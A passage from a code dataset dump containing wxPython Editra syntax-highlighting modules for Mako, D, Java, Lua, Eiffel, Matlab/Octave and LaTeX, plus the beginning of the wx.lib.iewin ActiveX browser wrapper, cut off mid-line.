the text\n @param stc: Styled text control instance\n @param start: Start position\n @param end: end position\n\n \"\"\"\n cpos = 0\n stc.StartStyling(cpos, 0x1f)\n lexer = get_lexer_by_name(\"html+mako\")\n doctxt = stc.GetTextRange(0, end)\n wineol = stc.GetEOLChar() == \"\\r\\n\"\n for token, txt in lexer.get_tokens(doctxt):\n# print token, txt\n style = TOKEN_MAP.get(token, STC_MAKO_DEFAULT)\n if style == STC_MAKO_PREPROCESSOR and txt.startswith(u'#'):\n style = STC_MAKO_COMMENT\n# elif style == STC_MAKO_STRING and txt[-1] not in '\"\\'':\n# style = STC_MAKO_STRINGEOL\n\n tlen = len(txt)\n if wineol and \"\\n\" in txt:\n tlen += txt.count(\"\\n\")\n\n if tlen:\n stc.SetStyling(tlen, style)\n cpos += tlen\n stc.StartStyling(cpos, 0x1f)\n\n#-----------------------------------------------------------------------------#\n\nTOKEN_MAP = { Token.Literal.String : STC_MAKO_STRING,\n Token.Comment.Preproc : STC_MAKO_PREPROCESSOR,\n Token.Comment : STC_MAKO_COMMENT,\n Token.Name.Builtin : STC_MAKO_BUILTIN,\n Token.Operator : STC_MAKO_OPERATOR,\n Token.Punctuation : STC_MAKO_OPERATOR,\n Token.Number : STC_MAKO_NUMBER,\n Token.Keyword : STC_MAKO_KEYWORD,\n Token.Name.Attribute : STC_MAKO_ATTRIBUTE,\n Token.String.Interpol : STC_MAKO_SCALAR,\n Token.Name.Tag : STC_MAKO_TAG }\n ", "id": "7955284", "language": "Python", "matching_score": 3.231562376022339, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/tools/Editra/src/syntax/_mako.py" }, { "content": "###############################################################################\n# Name: d.py #\n# Purpose: Define D programming language syntax for highlighting and other #\n# features. #\n# Author: <NAME> <<EMAIL>> #\n# Copyright: (c) 2007 <NAME> <<EMAIL>> #\n# License: wxWindows License #\n###############################################################################\n\n\"\"\"\nFILE: d.py\nAUTHOR: <NAME>\n@summary: Lexer configuration module for D programming language\n@todo: When 2.9 is out switch to the dedicated D Lexer\n\n\"\"\"\n\n__author__ = \"<NAME> <<EMAIL>>\"\n__svnid__ = \"$Id: _d.py 66108 2010-11-10 21:04:54Z CJP $\"\n__revision__ = \"$Revision: 66108 $\"\n\n#-----------------------------------------------------------------------------#\n# Imports\nimport wx\nimport wx.stc as stc\n\n# Local Imports\nimport synglob\nimport syndata\nfrom _cpp import AutoIndenter\n\n#-----------------------------------------------------------------------------#\n\n#---- Keyword Definitions ----#\nD_KEYWORDS = (0, \"abstract alias align asm assert auto body break case cast \"\n \"catch cent class continue debug default delegate delete \"\n \"deprecated do else enum export extern false final finally \"\n \"for foreach foreach_reverse function goto if import in inout \"\n \"interface invariant is lazy mixin module new null out \"\n \"override package pragma private protected public return \"\n \"scope short struct super switch synchronized template this \"\n \"throw true try union unittest version void while with\")\n\nD_TYPES = (1, \"bool byte cdouble cfloat char const creal dchar double float \"\n \"idouble ifloat ireal int real long static typeof typedef typeid \"\n \"ubyte ucent uint ulong ushort volatile wchar\")\n\nDOC_KEYWORDS = (2, \"TODO FIXME XXX \\\\author \\\\brief \\\\bug \\\\callgraph \"\n \"\\\\category \\\\class \\\\code \\\\date \\\\def \\\\depreciated \\\\dir \"\n \"\\\\dot \\\\dotfile \\\\else \\\\elseif \\\\em \\\\endcode \\\\enddot \"\n \"\\\\endif \\\\endverbatim \\\\example \\\\exception \\\\file \\\\if \"\n \"\\\\ifnot \\\\image \\\\include \\\\link \\\\mainpage \\\\name \"\n \"\\\\namespace \\\\page \\\\par \\\\paragraph \\\\param \\\\return \"\n \"\\\\retval \\\\section \\\\struct \\\\subpage \\\\subsection \"\n \"\\\\subsubsection \\\\test \\\\todo \\\\typedef \\\\union \\\\var \"\n \"\\\\verbatim \\\\version \\\\warning \\\\$ \\\\@ \\\\~ \\\\< \\\\> \\\\# \\\\% \"\n \"HACK \")\n\n#---- End Keyword Definitions ----#\n\n#---- Syntax Style Specs ----#\nif wx.VERSION >= (2, 9, 0, 0, ''):\n SYNTAX_ITEMS2 = [ (stc.STC_D_CHARACTER, 'char_style'),\n (stc.STC_D_COMMENT, 'comment_style'),\n (stc.STC_D_COMMENTDOC, 'comment_style'),\n (stc.STC_D_COMMENTDOCKEYWORD, 'dockey_style'),\n (stc.STC_D_COMMENTDOCKEYWORDERROR, 'error_style'),\n (stc.STC_D_COMMENTLINE, 'comment_style'),\n (stc.STC_D_COMMENTLINEDOC, 'comment_style'),\n (stc.STC_D_COMMENTNESTED, 'comment_style'),\n (stc.STC_D_DEFAULT, 'default_style'),\n (stc.STC_D_IDENTIFIER, 'default_style'),\n (stc.STC_D_NUMBER, 'number_style'),\n (stc.STC_D_OPERATOR, 'operator_style'),\n (stc.STC_D_STRING, 'string_style'),\n (stc.STC_D_STRINGB, 'string_style'), #TODO\n (stc.STC_D_STRINGEOL, 'stringeol_style'),\n (stc.STC_D_STRINGR, 'string_style'), #TODO\n (stc.STC_D_TYPEDEF, 'default_style'), # NEEDS STYLE\n (stc.STC_D_WORD, 'keyword_style'),\n (stc.STC_D_WORD2, 'keyword2_style'),\n (stc.STC_D_WORD3, 'keyword3_style'),\n (stc.STC_D_WORD5, 'default_style'), #TODO\n (stc.STC_D_WORD6, 'default_style'), #TODO\n (stc.STC_D_WORD7, 'default_style')] #TODO\nelse:\n SYNTAX_ITEMS = [ (stc.STC_C_DEFAULT, 'default_style'),\n (stc.STC_C_COMMENT, 'comment_style'),\n (stc.STC_C_COMMENTLINE, 'comment_style'),\n (stc.STC_C_COMMENTDOC, 'comment_style'),\n (stc.STC_C_COMMENTDOCKEYWORD, 'dockey_style'),\n (stc.STC_C_COMMENTDOCKEYWORDERROR, 'error_style'),\n (stc.STC_C_COMMENTLINE, 'comment_style'),\n (stc.STC_C_COMMENTLINEDOC, 'comment_style'),\n (stc.STC_C_CHARACTER, 'char_style'),\n (stc.STC_C_GLOBALCLASS, 'global_style'),\n (stc.STC_C_IDENTIFIER, 'default_style'),\n (stc.STC_C_NUMBER, 'number_style'),\n (stc.STC_C_OPERATOR, 'operator_style'),\n (stc.STC_C_PREPROCESSOR, 'pre_style'),\n (stc.STC_C_REGEX, 'pre_style'),\n (stc.STC_C_STRING, 'string_style'),\n (stc.STC_C_STRINGEOL, 'stringeol_style'),\n (stc.STC_C_UUID, 'pre_style'),\n (stc.STC_C_VERBATIM, 'number2_style'),\n (stc.STC_C_WORD, 'keyword_style'),\n (stc.STC_C_WORD2, 'keyword2_style') ]\n\n#---- Extra Properties ----#\nFOLD = (\"fold\", \"1\")\nFOLD_PRE = (\"styling.within.preprocessor\", \"0\")\nFOLD_COM = (\"fold.comment\", \"1\")\nFOLD_COMP = (\"fold.compact\", \"1\")\nFOLD_ELSE = (\"fold.at.else\", \"0\")\n\n#-----------------------------------------------------------------------------#\n\nclass SyntaxData(syndata.SyntaxDataBase):\n \"\"\"SyntaxData object for D\"\"\" \n def __init__(self, langid):\n super(SyntaxData, self).__init__(langid)\n\n # Setup\n if wx.VERSION >= (2, 9, 0, 0, ''):\n self.SetLexer(stc.STC_LEX_D)\n else:\n self.SetLexer(stc.STC_LEX_CPP)\n self.RegisterFeature(synglob.FEATURE_AUTOINDENT, AutoIndenter)\n\n def GetKeywords(self):\n \"\"\"Returns Specified Keywords List \"\"\"\n return [D_KEYWORDS, D_TYPES, DOC_KEYWORDS]\n\n def GetSyntaxSpec(self):\n \"\"\"Syntax Specifications \"\"\"\n if wx.VERSION >= (2, 9, 0, 0, ''):\n return SYNTAX_ITEMS2\n else:\n return SYNTAX_ITEMS\n\n def GetProperties(self):\n \"\"\"Returns a list of Extra Properties to set \"\"\"\n return [FOLD, FOLD_PRE, FOLD_COM]\n\n def GetCommentPattern(self):\n \"\"\"Returns a list of characters used to comment a block of code \"\"\"\n return [u'//']\n", "id": "10442613", "language": "Python", "matching_score": 8.47488784790039, "max_stars_count": 11, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/tools/Editra/src/syntax/_d.py" }, { "content": "###############################################################################\n# Name: java.py #\n# Purpose: Define Java syntax for highlighting and other features #\n# Author: <NAME> <<EMAIL>> #\n# Copyright: (c) 2007 <NAME> <<EMAIL>> #\n# License: wxWindows License #\n###############################################################################\n\n\"\"\"\nFILE: java.py\nAUTHOR: <NAME>\n@summary: Lexer configuration file for Java source files.\n\n\"\"\"\n\n__author__ = \"<NAME> <<EMAIL>>\"\n__svnid__ = \"$Id: _java.py 63834 2010-04-03 06:04:33Z CJP $\"\n__revision__ = \"$Revision: 63834 $\"\n\n#-----------------------------------------------------------------------------#\n# Imports\nimport wx.stc as stc\n\n# Local Imports\nimport synglob\nimport syndata\nfrom _cpp import AutoIndenter\n\n#-----------------------------------------------------------------------------#\n\n#---- Keyword Specifications ----#\n\n# Java Keywords\nJAVA_KEYWORDS = (0, \"goto if else switch while for \"\n \"do this super new instanceof return \"\n \"throw try catch finally assert synchronize \"\n \"break continue \")\n\nJAVA_KEYWORDS2 = (1, \"import native package synchronized throws \"\n \"extends implements interface class \"\n \"static synchronized transient volatile final \"\n \"serializable public protected private abstract\")\n\n# Java Types/Structures/Storage Classes\nJAVA_TYPES = (3, \"boolean char byte short int long float double void \"\n \"true false null \"\n \"String Integer Long Float Double Byte Boolean \"\n \"Map HashMap TreeMap CharSequence StringBuilder \"\n \"List ArrayList Set HashSet TreeSet Collection \"\n \"Exception System Runtime Collections Math \")\n\n\n# Documentation Keywords (Doxygen keywords/ect)\nDOC_KEYWORDS = (2, \"TODO FIXME XXX \\\\author \\\\brief \\\\bug \\\\callgraph \"\n \"\\\\category \\\\class \\\\code \\\\date \\\\def \\\\depreciated \\\\dir \"\n \"\\\\dot \\\\dotfile \\\\else \\\\elseif \\\\em \\\\endcode \\\\enddot \"\n \"\\\\endif \\\\endverbatim \\\\example \\\\exception \\\\file \\\\if \"\n \"\\\\ifnot \\\\image \\\\include \\\\link \\\\mainpage \\\\name \"\n \"\\\\namespace \\\\page \\\\par \\\\paragraph \\\\param \\\\return \"\n \"\\\\retval \\\\section \\\\struct \\\\subpage \\\\subsection \"\n \"\\\\subsubsection \\\\test \\\\todo \\\\typedef \\\\union \\\\var \"\n \"\\\\verbatim \\\\version \\\\warning \\\\$ \\\\@ \\\\~ \\\\< \\\\> \\\\# \\\\% \"\n \"@param @return @throws \"\n \"HACK\")\n\n#---- Syntax Style Specs ----#\nSYNTAX_ITEMS = [ (stc.STC_C_DEFAULT, 'default_style'),\n (stc.STC_C_COMMENT, 'comment_style'),\n (stc.STC_C_COMMENTDOC, 'comment_style'),\n (stc.STC_C_COMMENTDOCKEYWORD, 'dockey_style'),\n (stc.STC_C_COMMENTDOCKEYWORDERROR, 'error_style'),\n (stc.STC_C_COMMENTLINE, 'comment_style'),\n (stc.STC_C_COMMENTLINEDOC, 'comment_style'),\n (stc.STC_C_CHARACTER, 'char_style'),\n (stc.STC_C_GLOBALCLASS, 'global_style'),\n (stc.STC_C_IDENTIFIER, 'default_style'),\n (stc.STC_C_NUMBER, 'number_style'),\n (stc.STC_C_OPERATOR, 'operator_style'),\n (stc.STC_C_PREPROCESSOR, 'pre_style'),\n (stc.STC_C_REGEX, 'pre_style'),\n (stc.STC_C_STRING, 'string_style'),\n (stc.STC_C_STRINGEOL, 'stringeol_style'),\n (stc.STC_C_UUID, 'pre_style'),\n (stc.STC_C_VERBATIM, 'number2_style'),\n (stc.STC_C_WORD, 'keyword_style'),\n (stc.STC_C_WORD2, 'keyword2_style') ]\n\n#---- Extra Properties ----#\nFOLD = (\"fold\", \"1\")\nFOLD_PRE = (\"styling.within.preprocessor\", \"0\")\nFOLD_COM = (\"fold.comment\", \"1\")\nFOLD_COMP = (\"fold.compact\", \"1\")\nFOLD_ELSE = (\"fold.at.else\", \"0\")\n\n#------------------------------------------------------------------------------#\n\nclass SyntaxData(syndata.SyntaxDataBase):\n \"\"\"SyntaxData object for Java\"\"\" \n def __init__(self, langid):\n syndata.SyntaxDataBase.__init__(self, langid)\n\n # Setup\n self.SetLexer(stc.STC_LEX_CPP)\n self.RegisterFeature(synglob.FEATURE_AUTOINDENT, AutoIndenter)\n\n def GetKeywords(self):\n \"\"\"Returns Specified Keywords List \"\"\"\n return [JAVA_KEYWORDS, JAVA_KEYWORDS2, DOC_KEYWORDS, JAVA_TYPES]\n\n def GetSyntaxSpec(self):\n \"\"\"Syntax Specifications \"\"\"\n return SYNTAX_ITEMS\n\n def GetProperties(self):\n \"\"\"Returns a list of Extra Properties to set \"\"\"\n return [FOLD, FOLD_PRE]\n\n def GetCommentPattern(self):\n \"\"\"Returns a list of characters used to comment a block of code \"\"\"\n return [ u'//' ]\n", "id": "9680884", "language": "Python", "matching_score": 3.700547218322754, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/tools/Editra/src/syntax/_java.py" }, { "content": "###############################################################################\n# Name: lua.py #\n# Purpose: Define Lua5 syntax for highlighting and other features #\n# Author: <NAME> <<EMAIL>> #\n# Copyright: (c) 2007 <NAME> <<EMAIL>> #\n# License: wxWindows License #\n###############################################################################\n\n\"\"\"\nFILE: lua.py\nAUTHOR: <NAME>\n@summary: Lexer configuration module for Lua\n@todo: This setup for Lua5, maybe add Lua4 support\n\n\"\"\"\n\n__author__ = \"<NAME> <<EMAIL>>\"\n__svnid__ = \"$Id: _lua.py 63834 2010-04-03 06:04:33Z CJP $\"\n__revision__ = \"$Revision: 63834 $\"\n\n#-----------------------------------------------------------------------------#\n# Imports\nimport wx.stc as stc\n\n# Local Imports\nimport syndata\n\n#-----------------------------------------------------------------------------#\n\n#---- Keyword Definitions ----#\n# Keywords\nLUA_KEYWORDS = (0, \"and break do else elseif end false for function if \"\n \"in local nil not or repeat return then true until while\")\n\n# Basic Functions\nLUA_FUNCT = (1, \"_VERSION assert collectgarbage dofile error gcinfo loadfile \"\n \"loadstring print rawget rawset require tonumber tostring type \"\n \"unpack \"\n # Lua5 Basic functions\n \"_G getfenv getmetatable ipairs loadlib next pairs pcall \"\n \"rawequal setfenv setmetatable xpcall \\string table math \"\n \"coroutine io os debug \\load module select\")\n\n# String, (table) & math functions Lua5\nLUA_STR = (2, \"string.byte string.char string.dump string.find string.len \"\n \"string.lower string.rep string.sub string.upper string.format \"\n \"string.gfind string.gsub table.concat table.foreach \"\n \"table.foreachi table.getn table.sort table.insert table.remove \"\n \"table.setn math.abs math.acos math.asin math.atan math.atan2 \"\n \"math.ceil math.cos math.deg math.exp math.floor math.frexp \"\n \"math.ldexp math.log math.log10 math.max math.min math.mod \"\n \"math.pi math.pow math.rad math.random math.randomseed math.sin \"\n \"math.sqrt math.tan string.gmatch string.match string.reverse \"\n \"table.maxn math.cosh math.fmod math.modf math.sinh math.tanh \"\n \"math.huge\")\n\n# (coroutines), I/O & system facilities\nLUA_CO = (3, \"coroutine.create coroutine.resume coroutine.status coroutine.\"\n \"wrap coroutine.yield io.close io.flush io.input io.lines io.open \"\n \"io.output io.read io.tmpfile io.type io.write io.stdin io.stdout \"\n \"io.stderr os.clock os.date os.difftime os.execute os.exit \"\n \"os.getenv os.remove os.rename os.setlocale os.time os.tmpname \"\n \"coroutine.running package.cpath package.loaded package.loadlib \"\n \"package.path package.preload package.seeall io.popen\")\n\n# user1\nLUA_U1 = (4, \"\")\n\n# user2\nLUA_U2 = (5, \"\")\n\n# user3\nLUA_U3 = (6, \"\")\n\n# user4\nLUA_U4 = (7, \"\")\n\n#---- End Keyword Definitions ----#\n\n#---- Syntax Style Specs ----#\nSYNTAX_ITEMS = [(stc.STC_LUA_CHARACTER, 'char_style'),\n (stc.STC_LUA_COMMENT, 'comment_style'),\n (stc.STC_LUA_COMMENTDOC, 'dockey_style'),\n (stc.STC_LUA_COMMENTLINE, 'comment_style'),\n (stc.STC_LUA_DEFAULT, 'default_style'),\n (stc.STC_LUA_IDENTIFIER, 'default_style'), # style maybe\n (stc.STC_LUA_LITERALSTRING, 'string_style'),\n (stc.STC_LUA_NUMBER, 'number_style'),\n (stc.STC_LUA_OPERATOR, 'operator_style'),\n (stc.STC_LUA_PREPROCESSOR, 'pre_style'),\n (stc.STC_LUA_STRING, 'string_style'),\n (stc.STC_LUA_STRINGEOL, 'stringeol_style'),\n (stc.STC_LUA_WORD, 'keyword_style'),\n (stc.STC_LUA_WORD2, 'keyword3_style'),\n (stc.STC_LUA_WORD3, 'funct_style'),\n (stc.STC_LUA_WORD4, 'funct_style'),\n (stc.STC_LUA_WORD5, 'default_style'), # currently unused\n (stc.STC_LUA_WORD6, 'default_style'), # currently unused\n (stc.STC_LUA_WORD7, 'default_style'), # currently unused\n (stc.STC_LUA_WORD8, 'default_style') # currently unused\n ]\n\n#---- Extra Properties ----#\nFOLD = (\"fold\", \"1\")\nFOLD_COMP = (\"fold.compact\", \"1\")\n\n#-----------------------------------------------------------------------------#\n\nclass SyntaxData(syndata.SyntaxDataBase):\n \"\"\"SyntaxData object for Lua\"\"\" \n def __init__(self, langid):\n syndata.SyntaxDataBase.__init__(self, langid)\n\n # Setup\n self.SetLexer(stc.STC_LEX_LUA)\n\n def GetKeywords(self):\n \"\"\"Returns Specified Keywords List \"\"\"\n return [LUA_KEYWORDS, LUA_FUNCT, LUA_STR, LUA_CO]\n\n def GetSyntaxSpec(self):\n \"\"\"Syntax Specifications \"\"\"\n return SYNTAX_ITEMS\n\n def GetProperties(self):\n \"\"\"Returns a list of Extra Properties to set\"\"\"\n return [FOLD, FOLD_COMP]\n\n def GetCommentPattern(self):\n \"\"\"Returns a list of characters used to comment a block of code \"\"\"\n return [u'--']\n", "id": "11996399", "language": "Python", "matching_score": 4.470874786376953, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/tools/Editra/src/syntax/_lua.py" }, { "content": "###############################################################################\n# Name: eiffel.py #\n# Purpose: Define Eiffel syntax for highlighting and other features #\n# Author: <NAME> <<EMAIL>> #\n# Copyright: (c) 2008 <NAME> <<EMAIL>> #\n# License: wxWindows License #\n###############################################################################\n\n\"\"\"\nFILE: eiffel.py\nAUTHOR: <NAME>\n@summary: Lexer configuration module for Eiffel\n@todo: look into why io.anything is highlighted as a number\n\n\"\"\"\n\n__author__ = \"<NAME> <<EMAIL>>\"\n__svnid__ = \"$Id: _eiffel.py 63834 2010-04-03 06:04:33Z CJP $\"\n__revision__ = \"$Revision: 63834 $\"\n\n#-----------------------------------------------------------------------------#\n# Imports\nimport wx.stc as stc\n\n# Local Imports\nimport synglob\nimport syndata\n\n#-----------------------------------------------------------------------------#\n\n#---- Keyword Definitions ----#\nEIFFEL_KW = (0, \"alias all and any as bit boolean check class character clone \"\n \"cluster create creation current debug deferred div do double \"\n \"else elseif end ensure equal expanded export external false \"\n \"feature forget from frozen general if implies indexing infix \"\n \"inherit inspect integer invariant is language like local loop \"\n \"mod name nochange none not obsolete old once or platform \"\n \"pointer prefix precursor program real redefine rename require \"\n \"rescue result retry root select separate string strip then \"\n \"true undefine unique until variant void when xor\")\n#---- End Keyword Definitions ----#\n\n#---- Syntax Style Specs ----#\nSYNTAX_ITEMS = [(stc.STC_EIFFEL_CHARACTER, 'char_style'),\n (stc.STC_EIFFEL_COMMENTLINE, 'comment_style'),\n (stc.STC_EIFFEL_DEFAULT, 'default_style'),\n (stc.STC_EIFFEL_IDENTIFIER, 'default_style'),\n (stc.STC_EIFFEL_NUMBER, 'number_style'),\n (stc.STC_EIFFEL_OPERATOR, 'operator_style'),\n (stc.STC_EIFFEL_STRING, 'string_style'),\n (stc.STC_EIFFEL_STRINGEOL, 'stringeol_style'),\n (stc.STC_EIFFEL_WORD, 'keyword_style')]\n\n#---- Extra Properties ----#\nFOLD = (\"fold\", \"1\")\n\n#-----------------------------------------------------------------------------#\n\nclass SyntaxData(syndata.SyntaxDataBase):\n \"\"\"SyntaxData object for Eiffel\"\"\" \n def __init__(self, langid):\n syndata.SyntaxDataBase.__init__(self, langid)\n\n # Setup\n self.SetLexer(stc.STC_LEX_EIFFEL)\n\n def GetKeywords(self):\n \"\"\"Returns Specified Keywords List \"\"\"\n return [EIFFEL_KW]\n\n def GetSyntaxSpec(self):\n \"\"\"Syntax Specifications \"\"\"\n return SYNTAX_ITEMS\n\n def GetProperties(self):\n \"\"\"Returns a list of Extra Properties to set \"\"\"\n return [FOLD]\n\n def GetCommentPattern(self):\n \"\"\"Returns a list of characters used to comment a block of code \"\"\"\n return [u'--']\n", "id": "1819342", "language": "Python", "matching_score": 3.7888126373291016, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/tools/Editra/src/syntax/_eiffel.py" }, { "content": "###############################################################################\n# Name: matlab.py #\n# Purpose: Define Matlab and Octave syntax for highlighting and other features#\n# Author: <NAME> <<EMAIL>> #\n# Copyright: (c) 2007 <NAME> <<EMAIL>> #\n# License: wxWindows License #\n###############################################################################\n\n\"\"\"\nFILE: matlab.py\nAUTHOR: <NAME>\n@summary: Lexer configuration module for Matlab and Octave\n\n\"\"\"\n\n__author__ = \"<NAME> <<EMAIL>>\"\n__svnid__ = \"$Id: _matlab.py 63834 2010-04-03 06:04:33Z CJP $\"\n__revision__ = \"$Revision: 63834 $\"\n\n#-----------------------------------------------------------------------------#\n# Imports\nimport wx.stc as stc\n\n# Local Imports\nimport synglob\nimport syndata\n\n#-----------------------------------------------------------------------------#\n\n#---- Keyword Definitions ----#\nMATLAB_KW = (0, \"break case catch continue else elseif end for function \"\n \"global if otherwise persistent return switch try while\")\n\nOCTAVE_KW = (0, \"break case catch continue do else elseif end \"\n \"end_unwind_protect endfor endif endswitch endwhile for \"\n \"function endfunction global if otherwise persistent return \"\n \"switch try until unwind_protect unwind_protect_cleanup while\")\n#---- End Keyword Definitions ----#\n\n#---- Syntax Style Specs ----#\nSYNTAX_ITEMS = [(stc.STC_MATLAB_COMMAND, 'funct_style'),\n (stc.STC_MATLAB_COMMENT, 'comment_style'),\n (stc.STC_MATLAB_DEFAULT, 'default_style'),\n (stc.STC_MATLAB_DOUBLEQUOTESTRING, 'string_style'),\n (stc.STC_MATLAB_IDENTIFIER, 'default_style'),\n (stc.STC_MATLAB_KEYWORD, 'keyword_style'),\n (stc.STC_MATLAB_NUMBER, 'number_style'),\n (stc.STC_MATLAB_OPERATOR, 'operator_style'),\n (stc.STC_MATLAB_STRING, 'string_style')]\n\n#---- Extra Properties ----#\nFOLD = ('fold', '1')\n\n#-----------------------------------------------------------------------------#\n\nclass SyntaxData(syndata.SyntaxDataBase):\n \"\"\"SyntaxData object for MatLab and Octave\"\"\" \n def __init__(self, langid):\n syndata.SyntaxDataBase.__init__(self, langid)\n\n # Setup\n if self.LangId == synglob.ID_LANG_MATLAB:\n self.SetLexer(stc.STC_LEX_MATLAB)\n else:\n self.SetLexer(stc.STC_LEX_OCTAVE)\n\n def GetKeywords(self):\n \"\"\"Returns Specified Keywords List \"\"\"\n if self.LangId == synglob.ID_LANG_MATLAB:\n return [MATLAB_KW]\n elif self.LangId == synglob.ID_LANG_OCTAVE:\n return [OCTAVE_KW]\n else:\n return list()\n\n def GetSyntaxSpec(self):\n \"\"\"Syntax Specifications \"\"\"\n return SYNTAX_ITEMS\n\n def GetProperties(self):\n \"\"\"Returns a list of Extra Properties to set \"\"\"\n return [FOLD]\n\n def GetCommentPattern(self):\n \"\"\"Returns a list of characters used to comment a block of code \"\"\"\n if self.LangId == synglob.ID_LANG_MATLAB:\n return [u'%']\n elif self.LangId == synglob.ID_LANG_OCTAVE:\n return [u'#']\n else:\n return list()\n", "id": "7783126", "language": "Python", "matching_score": 3.6092886924743652, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/tools/Editra/src/syntax/_matlab.py" }, { "content": "###############################################################################\n# Name: latex.py #\n# Purpose: Define TeX/LateX syntax for highlighting and other features #\n# Author: <NAME> <<EMAIL>> #\n# Copyright: (c) 2007 <NAME> <<EMAIL>> #\n# License: wxWindows License #\n###############################################################################\n\n\"\"\"\nFILE: latex.py\nAUTHOR: <NAME>\n@summary: Lexer configuration module for Tex/LaTex.\n@todo: Fairly poor needs lots of work.\n\n\"\"\"\n\n__author__ = \"<NAME> <<EMAIL>>\"\n__svnid__ = \"$Id: _latex.py 63834 2010-04-03 06:04:33Z CJP $\"\n__revision__ = \"$Revision: 63834 $\"\n\n#-----------------------------------------------------------------------------#\n# Imports\nimport wx.stc as stc\n\n# Local Imports\nimport synglob\nimport syndata\n\n#-----------------------------------------------------------------------------#\n\n#---- Keyword Specifications ----#\n\n# Tex Keywords\nTEX_KW = (0, \"Downarrow backslash lceil rceil Uparrow downarrow lfloor rfloor \"\n \"Updownarrow langle rangle Vert\")\n# ConTeXt Dutch\nDUTCH = (1, \"\")\n# ConTeXt English\nENG = (2, \"\")\n# ConTeXt German\nGERMAN = (3, \"\")\n# ConTeXt Czech\nCZECH = (4, \"\")\n# ConTeXt Italian\nITALIAN = (5, \"\")\n# ConTeXt Romanian\nROMAINIAN = (6, \"\")\n\n# LaTeXt\n# There are no keyword settings available for LaTeX\n\n#---- Syntax Style Specs ----#\n# TeX\nSYNTAX_ITEMS1 = [(stc.STC_TEX_DEFAULT, 'default_style'),\n (stc.STC_TEX_COMMAND, 'keyword_style'),\n (stc.STC_TEX_GROUP, 'scalar_style'),\n (stc.STC_TEX_SPECIAL, 'operator_style'),\n (stc.STC_TEX_SYMBOL, 'number_style'),\n (stc.STC_TEX_TEXT, 'default_style') ]\n\n# LaTeX\nSYNTAX_ITEMS2 = [(stc.STC_L_DEFAULT, 'default_style'),\n (stc.STC_L_COMMAND, 'pre_style'),\n (stc.STC_L_COMMENT, 'comment_style'),\n (stc.STC_L_MATH, 'operator_style'),\n (stc.STC_L_TAG, 'keyword_style')]\n\n#-----------------------------------------------------------------------------#\n\nclass SyntaxData(syndata.SyntaxDataBase):\n \"\"\"SyntaxData object for LaTeX/TeX\"\"\" \n def __init__(self, langid):\n syndata.SyntaxDataBase.__init__(self, langid)\n\n # Setup\n # TODO: change to LEX_TEX for TeX?\n if self.LangId == synglob.ID_LANG_LATEX:\n self.SetLexer(stc.STC_LEX_LATEX)\n else:\n self.SetLexer(stc.STC_LEX_TEX)\n\n def GetKeywords(self):\n \"\"\"Returns Specified Keywords List \"\"\"\n return [TEX_KW]\n\n def GetSyntaxSpec(self):\n \"\"\"Syntax Specifications \"\"\"\n if self.LangId == synglob.ID_LANG_TEX:\n return SYNTAX_ITEMS1\n else:\n return SYNTAX_ITEMS2\n\n def GetCommentPattern(self):\n \"\"\"Returns a list of characters used to comment a block of code \"\"\"\n return [u'%']\n", "id": "3373307", "language": "Python", "matching_score": 0.21315820515155792, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/tools/Editra/src/syntax/_latex.py" }, { "content": "#----------------------------------------------------------------------\n# Name: wx.lib.iewin\n# Purpose: A class that allows the use of the IE web browser\n# ActiveX control\n#\n# Author: <NAME>\n#\n# Created: 22-March-2004\n# RCS-ID: $Id: iewin.py 41669 2006-10-06 23:21:07Z RD $\n# Copyright: (c) 2004 by Total Control Software\n# Licence: wxWindows license\n#----------------------------------------------------------------------\n\n# This module was originally generated by the\n# wx.activex.GernerateAXModule class but has been tweaked somewhat as\n# indicated below.\n\nimport wx\nimport wx.activex\n\nclsID = '{8856F961-340A-11D0-A96B-00C04FD705A2}'\nprogID = 'Shell.Explorer.2'\n\n\n# Flags to be used with the RefreshPage method\nREFRESH_NORMAL = 0\nREFRESH_IFEXPIRED = 1\nREFRESH_CONTINUE = 2\nREFRESH_COMPLETELY = 3\n\n# Flags to be used with LoadUrl, Navigate, Navigate2 methods\nNAV_OpenInNewWindow = 0x1\nNAV_NoHistory = 0x2\nNAV_NoReadFromCache = 0x4\nNAV_NoWriteToCache = 0x8\nNAV_AllowAutosearch = 0x10\nNAV_BrowserBar = 0x20\nNAV_Hyperlink = 0x40\n\n\n\n# Create eventTypes and event binders\nwxEVT_StatusTextChange = wx.activex.RegisterActiveXEvent('StatusTextChange')\nwxEVT_ProgressChange = wx.activex.RegisterActiveXEvent('ProgressChange')\nwxEVT_CommandStateChange = wx.activex.RegisterActiveXEvent('CommandStateChange')\nwxEVT_DownloadBegin = wx.activex.RegisterActiveXEvent('DownloadBegin')\nwxEVT_DownloadComplete = wx.activex.RegisterActiveXEvent('DownloadComplete')\nwxEVT_TitleChange = wx.activex.RegisterActiveXEvent('TitleChange')\nwxEVT_PropertyChange = wx.activex.RegisterActiveXEvent('PropertyChange')\nwxEVT_BeforeNavigate2 = wx.activex.RegisterActiveXEvent('BeforeNavigate2')\nwxEVT_NewWindow2 = wx.activex.RegisterActiveXEvent('NewWindow2')\nwxEVT_NavigateComplete2 = wx.activex.RegisterActiveXEvent('NavigateComplete2')\nwxEVT_DocumentComplete = wx.activex.RegisterActiveXEvent('DocumentComplete')\nwxEVT_Quit = wx.activex.RegisterActiveXEvent('OnQuit')\nwxEVT_Visible = wx.activex.RegisterActiveXEvent('OnVisible')\nwxEVT_ToolBar = wx.activex.RegisterActiveXEvent('OnToolBar')\nwxEVT_MenuBar = wx.activex.RegisterActiveXEvent('OnMenuBar')\nwxEVT_StatusBar = wx.activex.RegisterActiveXEvent('OnStatusBar')\nwxEVT_FullScreen = wx.activex.RegisterActiveXEvent('OnFullScreen')\nwxEVT_TheaterMode = wx.activex.RegisterActiveXEvent('OnTheaterMode')\nwxEVT_WindowSetResizable = wx.activex.RegisterActiveXEvent('WindowSetResizable')\nwxEVT_WindowSetLeft = wx.activex.RegisterActiveXEvent('WindowSetLeft')\nwxEVT_WindowSetTop = wx.activex.RegisterActiveXEvent('WindowSetTop')\nwxEVT_WindowSetWidth = wx.activex.RegisterActiveXEvent('WindowSetWidth')\nwxEVT_WindowSetHeight = 